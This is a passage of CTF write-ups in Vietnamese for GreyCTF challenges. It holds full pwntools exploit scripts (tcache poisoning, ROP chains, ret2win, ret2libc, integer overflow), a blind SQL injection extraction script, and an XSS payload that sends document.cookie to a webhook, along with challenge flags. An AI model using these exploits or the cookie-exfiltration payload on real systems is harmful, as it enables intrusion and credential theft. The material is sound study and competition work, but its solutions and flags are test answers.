      case 3:
        throw_book();
        break;
      case 1:
        write_book();
        break;
      case 2:
        rewrite_book();
        break;
      default:
        goto LABEL_19;
    }
  }
}
  • trong hàm này sẽ lặp vô hạn từ hàm while(1)
  • chương trình sẽ in ra các option
puts("What would you like to do today?");
puts("1. Write a book");
puts("2. Rewrite a book");
puts("3. Throw a book away");
puts("4. Exit the library");
return printf("Option: ");
  • ta sẽ chọn option '1337' để leak được dữ liệu nào đó

  • check các func khác

throw_book
chủ yếu là free

write_book
Index tối đa 10 (v4 <= 0 || v4 > 10) -> 10 index để malloc(size)
size từ 0x20 đến 0x20 + 16 (0x10) + 0x10 (làm tròn) = 0x40

rewrite_book

  • Hướng khai thác ở đây sẽ là tạo 3 chunk 1,2,3. Trong đó size chunk 2 < chunk 1,3 để overflow. Do option rewrite_book thêm 16 byte signature cộng thêm 32 byte nhập nên bị overflow
  • Ta có nhận xét là đầu code có cho ta nhập signature vào. Ở đây ta thấy được rằng khi overflow chunk 1 -> chunk 2 để khi free nhận lại đúng chunk 2 ta cần chọn size để overflow hợp lý. Ở đây thử một lúc sẽ được là 0x41

chunk 1,2,3 khi overflow chunk2

write(1,b'A'*32)  
write(2,b'B') 
write(3,b'C'*32) 

heap_leak = leak(3)
write(4, b"D"*0x20) 
rewrite(1, b"A"*0x30)
  • Sau đó ta sẽ lợi dụng chunk 2 để UAF chunk 3 lấy dùng để lấy địa chỉ libc và stack, nhưng trước đó phải tạo thêm chunk 4 và set secret_msg = 0 cũng như book[1].size = 0x1000.
fake_chunk = p64(0) + p64(0x41)  # prev_size, next_size
secret_msg = 0x004040c0
fake_chunk += p64(secret_msg ^ (heap_addr >> 12)) + p64(0x0)  
rewrite(2, b"E"*0x10 + fake_chunk) 
  • Sau khi rewrite bằng fake chunk ta được như sau

  • Sau đó là write thì được
write(3, b"F"*0x20)  # re-allocate chunk C
write(4, b"G"*0x20)  # target chunk allocated
fake_book = p64(0x1000) + p64(secret_msg)  # size, ptr
payload = (p64(0) * 2 +  # secret_msg
b"by " + signature + 7 * b"\x00" +  # author_signature
fake_book)  # books[0]
rewrite(4, payload)  

  • Quá trình tiếp theo là leak libc và stack. Ta sẽ overwrite free(ptr) thành puts(ptr) do ta đã kiểm soát đc ptr nên leak thoải mái.
fake_book2 = p64(0x8) + p64(elf.got["free"])
bss_payload = payload + fake_book2
rewrite(1, bss_payload)  # writes to secret_msg. book[1] now has ptr=got['free'] & size=0x8
rewrite(2, p64(elf.plt["puts"])) 
  • Leak libc :
fake_book2 = p64(0x8) + p64(elf.got["getchar"])
bss_payload = payload + fake_book2
rewrite(1, bss_payload)  # writes to secret_msg. book[1] now has ptr=got['getchar'] & size=0x8
delete(2)  # free(elf.got["getchar"]) becomes puts(elf.got["getchar"])
leak = u64(p.recvuntil(b"Your book has been thrown")[1:7].ljust(8, b"\0"))
log.info(hex(leak))
libc = elf.libc
libc.address = leak - 0x7f2fe7c87b60 + 0x007f2fe7c00000
  • Để leak stack thì ta làm tương tự nhưng lần này overwrite free(ptr) thành printf(ptr) để tạo lỗi format string.
fake_book2 = p64(0x8) + p64(elf.got["free"])
bss_payload = payload + fake_book2 + b"hello.%p\0"
rewrite(1, bss_payload)  
rewrite(2, p64(elf.plt["printf"]))  
  • Sau đó là leak stack:
book_start = 0x004040e0
fake_book2 = p64(0x8) + p64(book_start + 2 * 0x10)  # size=0x8 & ptr=book[2]
bss_payload = payload + fake_book2 + b"hello.%8$p.\0"
rewrite(1, bss_payload)  
delete(2) 
p.recvuntil(b"hello.")
leak = int(p.recvuntil(b".").replace(b".", b"").decode("ascii"), 16)
saved_rip = leak - 0x007ffd2515a330 + 0x007ffd2515a338
  • Cuối cùng là ROPchain. Do đề ban một số syscall nên one_gadget bất khả thi nên cần viết thủ công.
fake_book2 = p64(0x200) + p64(saved_rip)  # size=0x200 & ptr=saved_rip
bss_payload = payload + fake_book2 + b"/flag\0"
rewrite(1, bss_payload) 
POP_RDI = p64(libc.address + 0x001bc021)
POP_RSI = p64(libc.address + 0x001bb317)
POP_RDX_RBX = p64(libc.address + 0x00175548)
POP_RAX = p64(libc.address + 0x001284f0)
SYSCALL = p64(libc.address + 0x00140ffb)

flag_where = book_start + 0x10 * 10 
# open("/flag", 0)
rop_payload = POP_RAX + p64(2) + POP_RDI + p64(book_start + 0x10 * 2) + SYSCALL
# read(3, flag_where, 0x50)
rop_payload += POP_RAX + p64(0) + POP_RDI + p64(3) + POP_RSI + p64(flag_where) + POP_RDX_RBX + p64(0x50) + p64(0x0) + SYSCALL
# write(1, flag_where, 0x50)
rop_payload += POP_RAX + p64(1) + POP_RDI + p64(1) + SYSCALL
rewrite(2, rop_payload)  # overwrite saved_rip with rop_payload
  • Full script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF("./chall_patched",checksec=False)
libc = ELF("./libc.so.6",checksec=False)

p = process(exe.path)
#p = remote('localhost',1337)

sla = lambda x, y: p.sendlineafter(x, y)
sa = lambda x, y: p.sendafter(x, y)

def write(idx: int, payload: bytes) -> None:
    sla(b"Option:", b"1")
    sla(b"Index:", str(idx).encode("ascii"))
    sa(b"Write me a book no more than 32 characters long!", payload)
def rewrite(idx: int, payload: bytes) -> None:
    sla(b"Option:", b"2")
    sla(b"Index:", str(idx).encode("ascii"))
    sa(b"Write me the new contents of your book that is no longer than what it was before.", payload)
def delete(idx: int) -> None:
    sla(b"Option:", b"3")
    sla(b"Index:", str(idx).encode("ascii"))
def leak(idx: int) -> int:
    sla(b"Option:", b"1337")
    sla(b"What is your favourite number?", str(idx).encode("ascii"))
    p.recvuntil(b"You found a secret message: ")
    leak = int(p.recvuntil(b"\n").replace(b"\n", b"").decode("ascii"), 16)
    return leak
def leave() -> None:
    sla(b"Option:", b"4")

# heap grooming
signature = b"a"*5 + b"\x41"
sla(b"> ", signature)

write(1, b"A"*0x20)
write(2, b"B"*0x1)
write(3, b"C"*0x20)

heap_addr = leak(3)  # leak heap address for tcache poisoning later

write(4, b"D"*0x20)  # act as buffer in tcachebin
rewrite(1, b"A"*0x30)  # changes the size of B from 0x21 -> 0x41
delete(4)
delete(3)
delete(2)
write(2, b"E"*0x20)  # re-allocate chunk B

# tcache poisoning
fake_chunk = p64(0) + p64(0x41)  # prev_size, next_size
secret_msg = 0x004040c0
fake_chunk += p64(secret_msg ^ (heap_addr >> 12)) + p64(0x0)  # next = secret_msg
rewrite(2, b"E"*0x10 + fake_chunk)

write(3, b"F"*0x20)
write(4, b"G"*0x20)
fake_book = p64(0x1000) + p64(secret_msg)  # size, ptr
payload = (p64(0) * 2 +  # secret_msg
b"by " + signature + 7 * b"\x00" +  # author_signature
fake_book)  # books[0]
rewrite(4, payload)

# LEAK libc
fake_book2 = p64(0x8) + p64(exe.got["free"])
bss_payload = payload + fake_book2
rewrite(1, bss_payload)
rewrite(2, p64(exe.plt["puts"]))  # overwrites free with puts

fake_book2 = p64(0x8) + p64(exe.got["getchar"])
bss_payload = payload + fake_book2
rewrite(1, bss_payload)
delete(2)  # free(exe.got["getchar"]) becomes puts(exe.got["getchar"])
leak = u64(p.recvuntil(b"Your book has been thrown")[1:7].ljust(8, b"\0"))
log.info(hex(leak))
libc = exe.libc
libc.address = leak - 0x7f2fe7c87b60 + 0x007f2fe7c00000

# LEAK stack
fake_book2 = p64(0x8) + p64(exe.got["free"])
bss_payload = payload + fake_book2 + b"hello.%p\0"
rewrite(1, bss_payload)
rewrite(2, p64(exe.plt["printf"]))  # overwrite free with printf

book_start = 0x004040e0
fake_book2 = p64(0x8) + p64(book_start + 2 * 0x10)
bss_payload = payload + fake_book2 + b"hello.%8$p.\0"
rewrite(1, bss_payload)
delete(2)  # free("hello.%8$p.\0") becomes printf("hello.%8$p.\0")
p.recvuntil(b"hello.")
leak = int(p.recvuntil(b".").replace(b".", b"").decode("ascii"), 16)
saved_rip = leak - 0x007ffd2515a330 + 0x007ffd2515a338

# ROP
fake_book2 = p64(0x200) + p64(saved_rip)  # size=0x200 & ptr=saved_rip
bss_payload = payload + fake_book2 + b"/flag\0"
rewrite(1, bss_payload)
POP_RDI = p64(libc.address + 0x001bc021)
POP_RSI = p64(libc.address + 0x001bb317)
POP_RDX_RBX = p64(libc.address + 0x00175548)
POP_RAX = p64(libc.address + 0x001284f0)
SYSCALL = p64(libc.address + 0x00140ffb)

flag_where = book_start + 0x10 * 10  # buffer to read the flag file into
# open("/flag", 0)
rop_payload = POP_RAX + p64(2) + POP_RDI + p64(book_start + 0x10 * 2) + SYSCALL
# read(3, flag_where, 0x50)
rop_payload += POP_RAX + p64(0) + POP_RDI + p64(3) + POP_RSI + p64(flag_where) + POP_RDX_RBX + p64(0x50) + p64(0x0) + SYSCALL
# write(1, flag_where, 0x50)
rop_payload += POP_RAX + p64(1) + POP_RDI + p64(1) + SYSCALL
rewrite(2, rop_payload)  # overwrite saved_rip with rop_payload

leave()
p.interactive()
  • Chạy thử và được:

  • Ở đây mình sài flag cũ chưa xoá bên dreamhack

grey{gr00m1ng_4nd_sc4nn1ng_th3_b00ks!!}


WEB

LOGIN BOT

  • Cách Làm : Đọc Source Phát Hiện Điểm Yếu:

  • Đoạn Code trên Cho ta 3 tham số ở /send_post nhưng trên web thì chỉ có form của title và content.Và khi ta nhập link nào đó vô phần content thì sẽ tạo cho ta 1 id mới và đường dẫn truy cập là /url/id.
  • Đọc Thêm đoạn code ta thấy như sau :

  • Con Bot sẽ truy cập vào đường dẫn trên form url và gửi cho chúng ta tài khoản và mk cũng là FLAG luôn.

  • Từ Suy Luận trên ta sẽ làm như sau :

    • tìm kiếm 1 đường link webhook và submid để tạo ra 1 id cho bot truy cập.

    • Sau khi có link /url/id ta chỉnh sửa code html tạo 1 form là url trên /send_post.

    • Lên Webhook và Húp Flag Thôi :

Flag: grey{r3d1recTs_r3Dir3ct_4nd_4ll_0f_th3_r3d1r3ct}


BABY WEB

  • Đọc Source và hiểu sẽ thấy điểm yếu sau :

image

  • Đơn giản là sẽ visit 1 web nào đó và set cookie có cờ.
  • Sau khi lên web chall thì có 1 form report,test thử với câu lệnh
    <script>alert(1)</script> thì được -> XSS
  • Lên mạng Tìm Payload là xong :
  • PAYLOAD:
<script>document.write('<img src="[URL]?c='+document.cookie+'" />');</script>

image

  • Qua Trang link Webhook lấy flag nữa là xong:

Flag: grey{b4by_x55_347cbd01cbc74d13054b20f55ea6a42c}


100 QUESTIONS

  • Cách Làm: Đọc Source dễ nhận thấy điểm yếu SQL injection:
cursor = db.execute(f"SELECT * FROM QNA WHERE ID = {qn_id} AND Answer = '{ans}'")
  • Sau 1 hồi đưa các giá trị id khác nhau tới 100 thì có vẻ câu trả lời ở câu hỏi thứ 100 này chính là flag như cái tên vậy.
  • Test bằng các câu lệnh khai thác SQL injection cơ bản như "'OR'1'='1" thì chắc kèo luôn rồi.
  • Từ trên ta có đoạn code sau :
import requests
import string
target = "http://34.126.139.50:10513/"

char = '}-_{' + string.digits + string.ascii_letters
i = 5
flag= ['grey'];
while True:
    for j in char:
        payload = "grey\' OR SUBSTRING(Answer,{}, 1) = \'{}"
        params = {'qn_id': 100, 'ans': payload.format(i,j)}
        res = requests.get(target, params=params)
        if "Correct!" in res.text:
            flag.append(j)
            print("".join(flag))
            break
    i += 1

Flag: grey{1_c4N7_533}


MISC

CrashPython

Bài này đề cho ta một trang web để chạy 1 đoạn code python
Ngoài ra web ban các từ sau:

BANNED_WORDS = [
    'os',
    'eval',
    'exec',
    'subprocess',
    'threading',
    'multiprocessing',
    'raise',
    'quit',
    'sys',
    'stdout',
    'stderr',
    'x',
]

Đề nói rằng sẽ cho flag nếu ta tạo ra được exit code 139 tức SIGSEGV. Ta thấy rằng nếu code "thuần" bằng python sẽ khó để tạo exit code này vì các hàm trong python đã được implement rất kỹ để tránh các lỗi có thể xảy ra. Vì thế ở đây phải sài thư viện ngoài, trong trường hợp này là ctypes, một thư viện cho phép sử dụng các hàm của C trong python.

Ở đây mình code script đọc ở một địa chỉ không hợp lệ để lấy SIGSEGV

import ctypes
address = 0
value = ctypes.c_int.from_address(address).value
print(value)

Chạy và có flag.


GOTCHA

https://ctftime.org/task/17320

(writeup) GREYCTF'24

PWN

Baby fmtstr

  • source:
#include <stdio.h>
#include <time.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <locale.h>

void setup(){
    setvbuf(stdout, NULL, _IONBF, 0);
    setbuf(stdin, NULL);
    setbuf(stderr, NULL);
}

char output[0x20];
char command[0x20];

void goodbye(){
    puts("Adiós!");
    system(command);
}

void print_time(){
    time_t now;
    struct tm *time_struct;
    char input[0x20];
    char buf[0x30];

    time(&now);
    time_struct = localtime(&now);

    printf("The time now is %d.\nEnter format specifier: ", now);
    fgets(input, 0x20, stdin);

    for(int i = 0; i < strlen(input)-1; i++){
        if(i % 2 == 0 && input[i] != '%'){
            puts("Only format specifiers allowed!");
            exit(0);
        }
    }

    strftime(buf, 0x30, input, time_struct);
    // remove newline at the end
    buf[strlen(buf)-1] = '\0';

    memcpy(output, buf, strlen(buf));
    printf("Formatted: %s\n", output);
}

void set_locale(){
    char input[0x20];
    printf("Enter new locale: ");
    fgets(input, 0x20, stdin);
    char *result = setlocale(LC_TIME, input);
    if(result == NULL){
        puts("Failed to set locale :(");
        puts("Run locale -a for a list of valid locales.");
    }else{
        puts("Locale changed successfully!");
    }
}

int main(){
    int choice = 0;

    setup();

    strcpy(command, "ls");

    while (1){
        puts("Welcome to international time converter!");
        puts("Menu:");
        puts("1. Print time");
        puts("2. Change language");
        puts("3. Exit");
        printf("> ");

        scanf("%d", &choice);
        getchar();

        if(choice == 1){
            print_time();
        }else if(choice == 2){
            set_locale();
        }else{
            goodbye();
        }
        puts("");
    }
}
  • solution: change format to overflow command variable
  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF("./fmtstr")

# p = process(exe.path)
p = remote('challs.nusgreyhats.org',31234)


def print_time(enter_format_specifier):
    p.sendafter(b">", b"1\n")
    p.sendlineafter(b"Enter format specifier:", enter_format_specifier)

def set_locale(locale):
    p.sendafter(b">", b"2\n")
    p.sendlineafter(b"Enter new locale:", locale)

buf_size = 0x20

locale = b"xh_ZA.utf8"
set_locale(locale)

out = b"Tsh"
size = buf_size - len(out) + 2
years = size // 4
pl = b"%G" * years + b"%%" * (size - years * 4) + b"%b"
print_time(pl)

p.sendline("3")
p.sendline(b'cat flag.txt')

p.interactive()
#grey{17'5_b0f_71m3}

grey{17'5_b0f_71m3}

The Motorola 1

  • source:
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>


char* pin;

// this is the better print, because i'm cool like that ;)
void slow_type(char* msg) {
	int i = 0;
	while (1) {
		if (!msg[i])
			return;
		putchar(msg[i]);
		usleep(5000);
		i += 1;
	}
}

void view_message() {
	int fd = open("./flag.txt", O_RDONLY);
	char* flag = calloc(0x50, sizeof(char));
	read(fd , flag, 0x50);
	close(fd);
	slow_type("\n\e[1;93mAfter several intense attempts, you successfully breach the phone's defenses.\nUnlocking its secrets, you uncover a massive revelation that holds the power to reshape everything.\nThe once-elusive truth is now in your hands, but little do you know, the plot deepens, and the journey through the clandestine hideout takes an unexpected turn, becoming even more complicated.\n\e[0m");
	printf("\n%s\n", flag);
	exit(0);
}

void retrieve_pin(){
	FILE* f = fopen("./pin", "r");
	pin = malloc(0x40);
	memset(pin, 0, 0x40);
	fread(pin, 0x30, 0x1, f);
	fclose(f);
}

void login() {
	char attempt[0x30];
	int count = 5;

	for (int i = 0; i < 5; i++) {
		memset(attempt, 0, 0x30);
		printf("\e[1;91m%d TRIES LEFT.\n\e[0m", 5-i);
		printf("PIN: ");
		scanf("%s", attempt); //buffer overflow
		if (!strcmp(attempt, pin)) {
			view_message();
		}
	}
	slow_type("\n\e[1;33mAfter five unsuccessful attempts, the phone begins to emit an alarming heat, escalating to a point of no return. In a sudden burst of intensity, it explodes, sealing your fate.\e[0m\n\n");
}

void banner() {

	slow_type("\e[1;33mAs you breached the final door to TACYERG's hideout, anticipation surged.\nYet, the room defied expectations – disorder reigned, furniture overturned, documents scattered, and the vault empty.\n'Yet another dead end,' you muttered under your breath.\nAs you sighed and prepared to leave, a glint caught your eye: a cellphone tucked away under unkempt sheets in a corner.\nRecognizing it as potentially the last piece of evidence you have yet to find, you picked it up with a growing sense of anticipation.\n\n\e[0m");

    puts("                         .--.");
	puts("                         |  | ");
	puts("                         |  | ");
	puts("                         |  | ");
	puts("                         |  | ");
	puts("        _.-----------._  |  | ");
	puts("     .-'      __       `-.  | ");
	puts("   .'       .'  `.        `.| ");
	puts("  ;         :    :          ; ");
	puts("  |         `.__.'          | ");
	puts("  |   ___                   | ");
	puts("  |  (_M_) M O T O R A L A  | ");
	puts("  | .---------------------. | ");
	puts("  | |                     | | ");
	puts("  | |      \e[0;91mYOU HAVE\e[0m       | | ");
	puts("  | |  \e[0;91m1 UNREAD MESSAGE.\e[0m  | | ");
	puts("  | |                     | | ");
	puts("  | |   \e[0;91mUNLOCK TO VIEW.\e[0m   | | ");
	puts("  | |                     | | ");
	puts("  | `---------------------' | ");
	puts("  |                         | ");
	puts("  |                __       | ");
	puts("  |  ________  .-~~__~~-.   | ");
	puts("  | |___C___/ /  .'  `.  \\  | ");
	puts("  |  ______  ;   : OK :   ; | ");
	puts("  | |__A___| |  _`.__.'_  | | ");
	puts("  |  _______ ; \\< |  | >/ ; | ");
	puts("  | [_=]						\n");

	slow_type("\e[1;94mLocked behind a PIN, you attempt to find a way to break into the cellphone, despite only having 5 tries.\e[0m\n\n");
}


void init() {
	setbuf(stdin, 0);
	setbuf(stdout, 0);
	retrieve_pin();
	printf("\e[2J\e[H");
}

int main() {
	init();
	banner();
	login();
}
  • solution: ret2win
  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./chall')

# p = process(exe.path)
p = remote('challs.nusgreyhats.org',30211)

# gdb.attach(p,gdbscript='''
# b*login+147
# b*login+197
# c
# 	''')
# input()

payload = b'a'*0x48
# payload += p64(0x4040d0+0x40)
payload += p64(0x000000000040101a)
payload += p64(exe.sym.view_message)

p.sendlineafter(b'PIN: ',payload)

p.interactive()
#grey{g00d_w4rmup_for_p4rt_2_hehe}

grey{g00d_w4rmup_for_p4rt_2_hehe}

The Motorola 2

  • same source Motorola 1
  • solution: no ASLR in wasm -> dump -> overflow
  • script:
#!/usr/bin/python3

from pwn import *

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)

if args.REMOTE:
        p = remote('challs.nusgreyhats.org',35678)
else:
        p = process('./run.sh')

lol = open("./a.bin", "rb").read().replace(b"\n", b"\x00")
offet = 0x510 #1296
# sla(b'PIN: ',b'\0'*1296 + b'A'*8 + b'\0')
# input()
# sla(b'PIN: ',b'aaaa')
sla(b'PIN: ',b'\0'+lol)

p.interactive()
#grey{s1mpl3_buff3r_0v3rfl0w_w4snt_1t?_r3m3mb3r_t0_r34d_th3_st0ryl1ne:)}

grey{s1mpl3_buff3r_0v3rfl0w_w4snt_1t?_r3m3mb3r_t0_r34d_th3_st0ryl1ne:)}

Baby Goods

  • source:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char username[0x20];

int menu(char name[0x20]);

int sub_15210123() {
    execve("/bin/sh", 0, 0);
}

int buildpram() {
    char buf[0x10];
    char size[4];
    int num;

    printf("\nChoose the size of the pram (1-5): ");
    fgets(size,4,stdin);
    size[strcspn(size, "\r\n")] = '\0';
    num = atoi(size);
    if (1 > num || 5 < num) {
        printf("\nInvalid size!\n");
        return 0;
    }

    printf("\nYour pram has been created! Give it a name: ");
    //buffer overflow! user can pop shell directly from here
    gets(buf); //buffer overflow
    printf("\nNew pram %s of size %s has been created!\n", buf, size);
    return 0;
}

int exitshop() {
    puts("\nThank you for visiting babygoods!\n");
    exit(0);
}

int menu(char name[0x20]) {
    char input[4];
    do {
        printf("\nHello %s!\n", name);
        printf("Welcome to babygoods, where we provide the best custom baby goods!\nWhat would you like to do today?\n");
        printf("1: Build new pram\n");
        printf("2: Exit\n");
        printf("Input: ");
        fgets(input, 4, stdin);
        input[strcspn(input, "\r\n")] = '\0';
        switch (atoi(input))
        {
        case 1:
            buildpram();
            break;
        default:
            printf("\nInvalid input!\n==========\n");
            menu(name);
        }
    } while (atoi(input) != 2);
    exitshop();
}

int main() {
	setbuf(stdin, 0);
	setbuf(stdout, 0);

    printf("Enter your name: ");
    fgets(username,0x20,stdin);
    username[strcspn(username, "\r\n")] = '\0';
    menu(username);
    return 0;
}
  • solution: ret2win
  • script:
#!/usr/bin/python3

from pwn import *

context.binary  = exe = ELF('./babygoods')

# p = process(exe.path)
p = remote('challs.nusgreyhats.org',32345)

p.sendline(b'a')

p.sendline(b'1')
p.sendline(b'4')

payload = b'a'*0x20 + p64(0x000000000040101a) + p64(exe.sym.sub_15210123)

p.sendline(payload)
p.interactive()
#grey{4s_34sy_4s_t4k1ng_c4ndy_fr4m_4_b4by}

grey{4s_34sy_4s_t4k1ng_c4ndy_fr4m_4_b4by}

Slingring Factory

  • solution:
    • fmtstr leak canary
    • fill tcache, next free ubin -> leak libc
    • ret2libc
  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF("./slingring_factory_patched",checksec=False)
libc = ELF("./libc.so.6",checksec=False)
# ld = ELF("./ld-2.35.so")

def GDB():
        if not args.REMOTE:
                gdb.attach(p, gdbscript='''
                b*forge_slingring+412
                b*forge_slingring+638
                b*discard_slingring+221
                b*use_slingring+140
                b*menu+47
                c
                ''')
                input()

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)

if args.REMOTE:
        p = remote('challs.nusgreyhats.org',35678)
else:
        p = process(exe.path)

def add(idx,content,num):
    sla(b'>> ',b'2')
    sla(b'rings!\n',str(idx))
    sla(b'location:\n',content)
    sla(b'(1-9):\n',str(num))
    s(b'\n')

def show():
    sla(b'>> ',b'1')
    s(b'\n')

def delete(idx):
    sla(b'>> ',b'3')
    sla(b'discard?\n',str(idx))

p.recvline()
sl(b'%7$p')

p.recvuntil(b'Hello, ')
canary = int(p.recvline(),16)
info("canary leak: " + hex(canary))

for i in range(9): #8
    add(i,b'a',2)

for i in range(8): #7
    delete(i)

GDB()
delete(8)
show()

p.recvuntil(b'[144]   | ')

libc_leak = u64(p.recv(6)+b'\0\0')
libc.address = libc_leak - 0x21ace0
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))

pop_rdi = libc.address + 0x000000000002a3e5

payload = b'a'*0x38
payload += p64(canary)
payload += b'a'*8
payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\0')))
payload += p64(pop_rdi+1) + p64(libc.sym.system)

sla(b'>> ',b'4')
sla(b'(id): ',b'4')
sla(b'spell: ',payload)

p.interactive()
#grey{y0u_4r3_50rc3r3r_supr3m3_m45t3r_0f_th3_myst1c_4rts_mBRt!y4vz5ea@uq}

grey{y0u_4r3_50rc3r3r_supr3m3_m45t3r_0f_th3_myst1c_4rts_mBRt!y4vz5ea@uq}

heapheapheap

  • heapheap.c
#include "heapheap.h"

#define MEM_SIZE 0x1000

char mem[MEM_SIZE];

struct HeapHeap heap_heap = {
    .heap = {
        .max = NULL,
        .num_nodes = 0,
    },
    .memory = mem,
    .top = mem,
    .top_size = MEM_SIZE,
};

void *halloc(size_t size) {
    assert(heap_heap.top != NULL, "heap not initialized yet");

    if(heap_heap.heap.num_nodes == 0 || heap_heap.heap.max->value < size) {
        // New chunk needed
        size_t memory_needed = NODE_SIZE + size;
        if(memory_needed > heap_heap.top_size) {
            puts("Memory size exceeded");
            exit(-1);
        }

        struct Node *node = heap_heap.top;
        node->parent = NULL;
        node->left = NULL;
        node->right = NULL;
        node->value = size;
        node->data = heap_heap.top + NODE_SIZE;

        heap_heap.top += memory_needed;
        heap_heap.top_size -= memory_needed;

        return node->data;
    }

    // Split old node into new node to service allocation and remainder
    struct Node *node = heap_heap.heap.max;
    size_t old_size = node->value;
    del_node(&heap_heap.heap, node);
    node->value = size;

    if(old_size == size) {
        return node->data;
    }
    
    struct Node *new_node = node->data + size;
    new_node->data = (void*)new_node + NODE_SIZE;
    new_node->value = old_size - NODE_SIZE - size;
    insert(&heap_heap.heap, new_node);

    return node->data;
}

void hfree(void *ptr) {
    struct Node *node = ptr - NODE_SIZE;
    insert(&heap_heap.heap, node);
}

void debug() {
    puts("halloc heap:");
    print2D(heap_heap.heap.max);
}
  • heapheapheap.c
#include "heapheap.h"
#include <string.h>

void setup(){
    setvbuf(stdout, NULL, _IONBF, 0);
    setbuf(stdin, NULL);
    setbuf(stderr, NULL);
}

size_t read_number() {
    size_t result = 0;

    scanf("%zu", &result);
    getchar();

    if (result > 0)
    {
        return result;
    }

    exit(-1);
}


void read_node(struct Node *node) {
    printf("Enter length of str: ");
    size_t len = read_number();

    char *out = halloc(len);

    printf("Enter string: ");

    fgets(out, len, stdin);
    if(out[strlen(out)-1] == '\n')
        out[strlen(out)-1] = '\0';


    printf("Enter value: ");
    size_t value = read_number();

    node->value = value;
    node->data = out;
}


struct Heap heap = {
    .max = NULL,
    .num_nodes = 0,
};

void backdoor() {
    system("/bin/sh");
}


int main() {
    setup();

    int opt;

    while(true) {
        puts("Menu:");
        puts("1. Add node");
        puts("2. Edit root");
        puts("3. Delete root");
        puts("4. Exit");
        printf("Your choice: ");

        scanf("%d", &opt);
        getchar();

        if(opt == 1) {
            struct Node *node = halloc(NODE_SIZE);
            read_node(node);
            insert(&heap, node);
        } else if(opt == 2) {
            struct Node *max = heap.max;
            del_node(&heap, max);
            hfree(max->data);
            max->data = NULL;
            read_node(max);
            insert(&heap, max);
        } else if(opt == 3) {
            struct Node *max = heap.max;
            printf("The largest element is '%s' with a value of %d", max->data, max->value);
            del_node(&heap, max);
            hfree(max->data);
            max->data = NULL;
            hfree(max);
        } else {
            exit(0);
        }
        puts("");
        puts("The heap:");
        print2D(heap.max);
        puts("");
    }
}
  • BUG: interger overflow
  • struct:
struct Node {
    struct Node *parent;
    struct Node *left;
    struct Node *right;
    size_t value;
    void *data;
};

struct Heap {
    struct Node *max;
    unsigned char num_nodes;
};

struct HeapHeap {
    struct Heap heap;
    void *memory;
    void *top;
    size_t top_size;
};
  • leak exe -> ow exit@got = backdoor -> trigger exit
  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF("./heapheapheap",checksec=False)

def GDB():
        if not args.REMOTE:
                gdb.attach(p, gdbscript='''
                b*main+158
                b*read_note+53
                b*main+366
                c  
                ''')
                input()

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)

if args.REMOTE:
        p = remote('challs.nusgreyhats.org',33456)
else:
        p = process(exe.path)

def add(length, s, value):
    sla(b"choice: ", b"1")
    sla(b"str: ", str(length))
    sla(b"string: ", s)
    sla(b"value: ", str(value))

def delete():
    sla(b"choice: ", b"3")

def edit(length, s, value):
    sla(b"choice: ", b"2")
    sla(b"str: ", str(length))
    sla(b"string: ", s)
    sla(b"value: ", str(value))

# GDB()

'''
heap_heap.top              node.parent
node.left                  node.right
*node.value                value
null                       null
null                       *node.data
size                       null
null                       null
*node.data                 data
'''
'''
heap_heap.top              node.parent
node.left                  node.right
*node.value                value
null                       null
prev.node.value            *node.data
size                       null
null                       null
*node.data                 data
'''
'''
heap_heap.top              node.parent
node.left                  node.right
*node.value                value
null                       null
next.node.value            *node.data
size                       null
null                       null
*node.data                 data
'''
'''
heap_heap.top              node.parent
node.left                  node.right
*node.value                value
null                       null
next.node.value            *node.data
size                       null
null                       null
*node.data                 data
'''

add(0x10, b'a', 7) #0
add(0x10, b'b', 6) #1
add(0x10, b'c', 5) #2
add(0xffffffffffffffe0, b"", 10) #3 #iof
add(0x10, b"", 1) #4

delete()
p.recvuntil(b"The largest element is '")
exe_leak = u64(p.recv(6)+b'\0\0')
exe.address = exe_leak - 0x4318
info("exe leak: " + hex(exe_leak))
info("exe base: " + hex(exe.address))

edit(exe.address + 0x42e8, b"", 4)
edit(0xffffffffffffffe0- exe.address - 0x42e8 - 0x28, b"", 4)
add(0xffffffffffffffff, b"", 11) #iof
delete()
add(0xfffffffffffffc68, b"", 4)
pld = flat({
    0: 13,
    8: exe.got.exit,
    0x30: exe.address + 0x50d0,
})
pld = flat({
    0: exe.address + 0x4210,
    8: 1,
    0x18: exe.got.exit,
    0x20: 0xffffffffffffffff,
})
edit(0x100, pld, 12)
edit(exe.sym.backdoor, pld, 1) #ow exit@got

sl(b'4') #trigger exit

p.interactive()
#grey{h34p5_0f_h34p_f0r_m4x1mum_c0nfu510n}

grey{h34p5_0f_h34p_f0r_m4x1mum_c0nfu510n}